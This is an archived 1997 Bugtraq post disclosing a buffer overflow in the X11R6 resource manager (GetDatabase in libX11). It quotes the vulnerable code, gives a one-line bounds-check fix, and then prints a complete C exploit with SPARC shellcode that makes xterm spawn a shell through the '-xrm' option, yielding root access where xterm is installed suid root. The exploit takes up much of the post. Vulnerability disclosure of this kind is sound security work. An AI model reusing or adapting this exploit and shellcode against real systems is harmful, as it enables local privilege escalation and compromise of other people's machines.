Bugtraq mailing list archives
X11R6 resource manager buffer overflow....
From: hedley () CS BRIS AC UK (David Hedley)
Date: Wed, 28 May 1997 16:04:52 +0100
OK, I've grabbed the latest X11R6 distribution (X11R6.3) and applied public fix 01, and there is still a buffer overflow problem in libX11 which makes pretty much any X program which uses the X resource manager vulnerable to attack. Such programs include xlock, xterm and others. If these programs are installed suid root, local users can obtain root access. I believe this buffer overflow to be present in every distribution of X to date. Specifically in the function GetDatabase in xc/lib/X11/Xrm.c on line 1089 we have: char buffer[BUFSIZ], *value_str; Further down (lines 1177 - 1186) we have the following interesting comment: /* * Third: loop through the LHS of the resource specification * storing characters and converting this to a Quark. * * If the number of quarks is greater than LIST_SIZE - 1. This * function will trash your memory. * * If the length of any quark is larger than BUFSIZ this function * will also trash memory. */ Interesting that the possibility for trashing memory was noticed but not catered for! The bit of code that overwrites the buffer is between lines 1190 and 1204: sig = 0; ptr = buffer; *t_bindings = XrmBindTightly; for(;;) { if (!is_binding(bits)) { while (!is_EOQ(bits)) { *ptr++ = c; sig = (sig << 1) + c; /* Compute the signature. */ bits = next_char(c, str); } *t_quarks++ = _XrmInternalStringToQuark(buffer, ptr - buffer, sig, False); Exploiting this buffer overflow usually involves invoking the target program with the '-xrm' parameter, followed by the buffer overflow code. There is an additional constraint on the code passed in that it cannot contain newline characters (hence the stock sparc shell code in the exploit below has been altered slightly). A simple fix for this is to change while (!is_EOQ(bits)) { to while (!is_EOQ(bits) && (ptr - buffer < BUFSIZ)) { For your reference, I include an exploit which gets xterm to execute a shell. If xterm were installed suid root, this program would give root access. The exploit is for X11R6.3 xterm built on solaris 5.5.1. You will have to alter the pathname for xterm in the program to point to where you have installed it. The exploit must be compiled with gcc and was tested on an UltraSparc running Solaris 5.5.1. My X11R6.3 libraries were built straight from the distribution after applying public fix-01 using the standard C compiler. ------------------ cut here ----------------------------- /* * X11R6.3 xterm exploit for solaris 5.5.1 by DCRH 28/5/97 * */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #define EXTRA2 1300 #define BUF_LENGTH 400 #define EXTRA 500 /* Need an addr such that contents of addr+0xe98 = 0 */ #define SAFE_ADDR ((unsigned)0xefff2008) #define STACK_OFFSET 0x4800 #define SPARC_NOP 0xa61cc013 u_long sparc_shellcode[] = { 0x2d0bd89a, /* sethi %hi(0x2f626800), %l6 */ 0xac15a16e, /* or %l6, 0x16e, %l6 */ 0x2f0bdadc, /* sethi %hi(0x2f6b7000), %l7 */ 0xae15e368, /* or %l7, 0x368, %l7 */ 0x900b800e, /* and %sp, %sp, %o0 */ 0x9203a00c, /* add %sp, 0xc, %o1 */ 0x941ac00b, /* xor %o3, %o3, %o2 */ 0x9c03a014, /* add %sp, 0x14, %sp */ 0xec3bbfec, /* std %l6, [ %sp + -20 ] */ 0xc023bff4, /* clr [ %sp + -12 ] */ 0xdc23bff8, /* st %sp, [ %sp + -8 ] */ 0xc023bffc, /* clr [ %sp + -4 ] */ 0x8210203b, /* mov 0x3b, %g1 */ 0x91d02008, /* ta 8 */ 0xffffffff, /* illegal */ }; u_long get_sp(void) { asm("mov %sp,%i0 \n"); } char buf[BUF_LENGTH + EXTRA + EXTRA2 + 8]; char longvar[0x4000] = "BLAH="; void main(int argc, char *argv[]) { char *env[2]; unsigned long targ_addr; u_long *long_p; int i, code_length = sizeof(sparc_shellcode),dso=0; if(argc > 1) dso=atoi(argv[1]); long_p =(u_long *) buf; for (i = 0; i < EXTRA2 / sizeof(u_long); i++) *long_p++ = (SAFE_ADDR >> 8) | (SAFE_ADDR << 24); targ_addr = get_sp() - STACK_OFFSET - dso; for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = SPARC_NOP; for (i = 0; i < code_length / sizeof(u_long); i++) *long_p++ = sparc_shellcode[i]; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ = targ_addr; printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n", targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET); /* This is just to shove the stack down a bit */ memset(&longvar[5], 'a', sizeof longvar-6); longvar[sizeof longvar -1] = '\0'; env[0] = longvar; env[1] = NULL; execle("./xterm", "xterm", "-xrm", buf,(char *) 0, env); perror("execl failed"); }
Current thread:
- xterm exploit as promised... David Hedley (May 27)
- <Possible follow-ups>
- Re: xterm exploit as promised... Chris Sheldon (May 27)
- Re: xterm exploit as promised... Anthony C. Zboralski (May 28)
- X11R6 resource manager buffer overflow.... David Hedley (May 28)
- interesting bug? in Irix 6.3 David Hedley (May 28)